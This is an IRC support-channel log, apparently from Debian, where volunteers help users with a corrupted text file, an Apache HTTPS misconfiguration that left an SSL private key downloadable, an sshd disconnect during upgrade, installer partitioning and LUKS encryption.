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2879[18:50:45] <sio_> RoyK: it takes a while and says:
filename.txt: UTF-8 Unicode text
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2882[18:51:11] <RoyK> sio_: if it's not a secret, could you
upload it somewhere?
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2884[18:51:38] <RoyK> don't upload stuff like passwords to
anyone, mind
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2885[18:51:39] <sio_> RoyK: the content is just
"Â׫|«^¿" right now
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2886[18:52:01] <RoyK> uh
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2892[18:52:28] <RoyK> anything in dmesg? might be a faulty sector
or something that slipped the crc check
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2894[18:52:51] <RoyK> sio_: does that match the file size? also,
which editor are you using?
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2895[18:52:57] <sio_> RoyK: at first I though I may have left the
file open and overwrote it by mistake, but this seems unlikely given
the weird characters
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2896[18:53:26] <sio_> RoyK: kate, filesize is only 4k (i
don't know how much 100 lines of text is supposed to take)
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2897[18:53:40] <RoyK> try vim
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2898[18:53:41] <RoyK> or emacs
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2899[18:54:04] <RoyK> they should be better with encoding than
most others
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2902[18:55:23] <sio_> RoyK: they say the content is the same
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2903[18:55:29] <sio_> (same as Kate)
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2904[18:55:38] <RoyK> but... that's not 4k
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2905[18:55:47] <RoyK> try strings filename.txt
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2907[18:56:20] <sio_> RoyK: isn't 4k the minimal size of a
file?
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2909[18:56:30] <RoyK> there is no minimal filesize
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2910[18:56:48] <RoyK> but the allocation size is in 4k pages on
ext4
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2912[18:57:09] <sio_> RoyK: strings gives nothing
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2913[18:57:27] <sio_> RoyK: but I think I found a somewhat recent
version of the file by doing grep on /dev/sda1
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2914[18:57:36] <RoyK> ok - biab - 0xf00d
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2919[18:59:41] <sio_> RoyK: what?
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2933[19:08:45] <jmcnaught> need-help: please keep the discussion
in the channel. i cannot see your private messages because I'm
+g
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2938[19:10:55] <need-help> ok jmcnaught
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2939[19:11:05] <need-help> did you check the paste ?
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2940[19:11:34] <jmcnaught> need-help: yes. did you see any of my
feedback on it?
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2943[19:12:13] <need-help> let me see
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2944[19:12:42] <need-help> I see recent posts on the left
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2945[19:12:49] <need-help> but no feedback
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2949[19:13:51] <jmcnaught> need-help: i highlighted you 4 times
in response to the paste
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2953[19:14:13] <need-help> here?
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2954[19:14:19] <need-help> sorry I was AFK
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2955[19:14:38] <jmcnaught> need-help: should i answer your
questions again or are you just going to walk away again?
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2957[19:14:53] <RoyK> sio_: food ;)
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2958[19:14:58] <need-help> I'm here
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2959[19:15:06] <jmcnaught> need-help: i'm going to private
message you about something, cool?
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2960[19:15:06] <need-help> can u tell me what's wrong plz?
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2961[19:15:12] <need-help> yes
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2963[19:15:21] <sio_> :d
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2982[19:22:09] <need-help> 1st I'll delete the SSL vhost
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3040[19:49:48] <jmcnaught> need-help: did you figure out that
other issue?
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3087[20:14:41] <need-help> jmcnaught: I'll never fix it I
know
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3088[20:15:05] <need-help> especialy the 301 annoying redirct
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3089[20:15:16] <need-help> which I didn't even set
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3102[20:20:33] <jmcnaught> need-help: part of the problem is that
you only enabled https using the
/etc/apache2/sites-available/default-ssl virtualhost, when you
needed to do that separately for each virtualhost. Then your
default-ssl vhost had a different documentroot than either of your
other two sites. Also your SSL private key was under your
default-ssl's documentroot, and downloadable (so I trust that
you have finally revoked
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3103[20:20:39] <jmcnaught> that certificate)
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3104[20:21:22] <need-help> so I have to delete SSL vhost to fix
it?
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3105[20:21:34] <jmcnaught> need-help: that's not enough
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3106[20:21:36] <need-help> is it safe to delete SSL vhsot?
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3107[20:21:43] <need-help> what else?
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3108[20:21:49] <jmcnaught> need-help: please for your own sake,
revoke that certificate
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3113[20:22:17] <jmcnaught> that is your #1 priority right now,
then fix your broken apache configuration
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3116[20:22:46] <need-help> if I delete it?
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3119[20:23:31] <jmcnaught> need-help: you need to revoke it
because if anyone else in this channel noticed that the key was
public, they can sign/decrypt for your domain's SSL cert until
it expires
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3120[20:23:51] <need-help> damn!!!
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3122[20:24:08] <jmcnaught> need-help: please if you don't
understand what i mean at least appreciate the urgency i'm
trying to communicate, and learn how to revoke your certificate.
i've given you pointers and where to ask
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3124[20:24:55] <need-help> I'll try my best
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3125[20:24:59] <need-help> I'll try google
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3126[20:25:29] <jmcnaught> need-help: it's going to be
"certbot revoke" something. ask in #certbot on
irc.oftc.net, tell them your private key was publicly accessible and
you need to revoke it
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3131[20:29:41] <need-help> I'm trying
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3139[20:33:09] <jmcnaught> need-help: once you've got the
SSL revocation taken care of, you can look at fixing your
virtualhost setup
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3141[20:33:22] <need-help> ok
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3142[20:33:30] <need-help> thanks a lot for this advise
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3150[20:35:59] <jmcnaught> need-help: my advice is something
like: stop using default-ssl, use the SSLEngine On etc directive in
each virtualhost. for the redirect, check all of your apache
configures, "grep -ir redirect /etc/apache2" for example,
and in .htaccess files if AllowOverride is used somewhere. And make
sure that certbot stops putting certificates and keys in your
/var/replaced-url
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3151[20:36:05] <jmcnaught> pt or /etc/ssl. the private key should
...
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3152[20:36:07] <jmcnaught> ... be owned by root:ssl-cert and have
permissions 640
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3153[20:36:12] <jmcnaught> need-help: i've got to go, good
luck
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3162[20:39:54] <need-help> jmcnaught: are you still there?
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3167[20:41:13] <doublehp> "Installing new version of config
file /etc/network/if-up.d/openssh-server ..." =>
"Connection to server closed by remote host." ... is there
a way to tell sshd to not fire current connexion during service
reload ? I use ss since 1999, and Stretch is the first time this
occurs to me ...
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3169[20:41:56] <jelly> doublehp: it shouldn't do that. Check
for bug reports and file one if it's not there already
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3170[20:42:39] <jelly> probably deserves RC-level priority
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3171[20:43:05] <jelly> also,
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3172[20:43:07] <jelly> !debian-next
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3173[20:43:08] <dpkg> #debian-next is the channel for
testing/unstable support on the OFTC network (irc.oftc.net), *not*
on Freenode. If you get "Cannot join #debian-next (Channel is
invite only)." it means you did not read it's on
irc.oftc.net.
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3174[20:43:21] <doublehp> jelly: I wait for package maintainers
to fix critical bugs before filling low importance ones
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3175[20:44:11] <jelly> if noone files it, it won't be fixed
at all. The maintainer can decide about priorities and what gets
fixed first
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3176[20:45:51] <doublehp> jelly: as user, i want critical bugs to
be fixed before boring them with low priority
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3178[20:47:01] <jelly> hey, if losing access to a remote machine
in the middle of an upgrade is low priority, so be it
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3180[20:47:41] <doublehp> less than 3% bgs I reported have ever
been fixed; so, I will probably not take the time to report such
minor details
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3181[20:48:09] <doublehp> yes, it is; service not starting at all
is much more improtant.
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3183[20:49:01] * jelly shrugs
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3188[20:50:40] <doublehp> jelly:
replaced-url
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3192[20:51:47] <doublehp> "aptitude install
openssh-server" => "openssh-server is already installed
at the requested version (1:7.3p1-1)"
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3195[20:54:08] <jelly> doublehp: ask in the right channel for
stretch
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3196[20:54:24] <jelly> and do try to use a pastebin with less ads
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3200[20:55:25] <doublehp> i use Add blocker since 10y; I never
saw any add on this site
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3203[20:56:35] <hiyo> Hello I am trying to update my debian
system but it is having trouble connecting to the mirrors
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3204[20:56:55] <jelly> doublehp: it's full of crap.
paste.debian.net isn't
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3240[21:14:31] <davidl> Does debian 8 jessie support qemu
out-of-the-box?
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3244[21:14:59] <davidl> as in installing Debian 8 on a virtual
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3248[21:16:37] <DeaDSouL> hi, is raid1 stable in btrfs for
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3249[21:18:54] <FoFooness> DeaDSouL: #btrfs
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3271[21:28:53] <Namo_> Hello everyone, I'm trying to install
Debian Jessie, but at the partition step, I get an error saying that
the swap partition could not be created. Does anyone have a
suggestion ?
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3296[21:42:11] <dutchfish> Namo_, did you choose the manual
option for partitioning? if so, leave room for the swap partition,
something in th eorder of twice the amount of memory in the system.
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3299[21:42:53] <dutchfish> Namo_, and confirgure that space as a
swap partition
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3300[21:43:10] <Namo_> I chose assisted partitionning.
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3301[21:43:45] <dutchfish> Namo_, and there is free space on the
disk (non-partioned)?
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3303[21:44:09] <Namo_> The disk is currently under windows.
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3305[21:44:27] <Namo_> I'm trying to install debian instead.
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3308[21:45:40] <Namo_> So I don't there is non-partitionned
space left.
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3310[21:45:51] <Namo_> I don't think*
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3314[21:46:25] <dutchfish> Namo_, so you want windows to be
replaced, or a multiboot install (windows/debian)?
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3317[21:46:50] <Namo_> dutchfish: I want it to be replaced.
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3318[21:47:10] <Namo_> dutchfish: By a single debian partition.
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3322[21:48:01] <dutchfish> Namo_, then you can choose manual
partioning and remove the windows partitioning then create a root
partition / and a swap partition
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3327[21:48:53] <dutchfish> Namo_, i dont believe the guided
partion will remove excisting partitions, but shrink them if
possible
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3333[21:51:39] <cruncher> dutchfish, yes, the guided partitioning
will delete the windows partitions
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3335[21:52:06] <Namo_> The problem doesn't seems to be the
windows partition, because the debian setup already plan to format
and shrink the existing partition.
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3336[21:52:28] <Namo_> Just as cruncher said.
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3341[21:53:14] <cruncher> shrink? what version/cd are you using?
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3342[21:53:16] <Namo_> dutchfish: Or maybe I'm
misunderstanding your question...?
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3343[21:54:35] <cruncher> you can shrink it with manual
partitioning, but not guided
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3344[21:54:54] <cruncher> Namo_, anyway, as dutchfish suggested
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3350[21:56:29] <Dat> how can I encrypt a lv i am going to add to
my system?
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3351[21:56:35] <cruncher> namo, press ctrl+f4, and see if you can
see any messages regarding the swap parition
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3353[21:56:50] <cruncher> Namo_, ^^
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3354[21:58:01] <Namo_> Ok..
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3356[21:58:15] <Dat> cryptsetup luksAddKey /dev/xxx <--- after
I get everything added?
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3359[22:01:43] <Namo_> I'm confused. When I go to the
partitioning step of the installation, I see directly the changes
that will be done, but not what's and how the current
partitions are. (Not sure if I'm being clear, sorry.)
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3361[22:03:08] <ferna> !paste
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3363[22:03:26] <cruncher> Namo_, yes, you shoudl see that, you
select "guided...", then select the disk, then
partitioning scheme, and now you can see the partitions like they
will be written
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3367[22:04:24] <cruncher> Dat, thats not the first step
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3368[22:04:32] <Namo_> Yes, that's what I get.
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3369[22:04:39] <cruncher> and what you mean by "everythin
gadded"
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3372[22:06:53] <cruncher> Dat, and i dont think you want to add
another key to accomplish that
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3374[22:07:10] <cruncher> Dat, what you probably want to do first
is cryptsetup luksFormat
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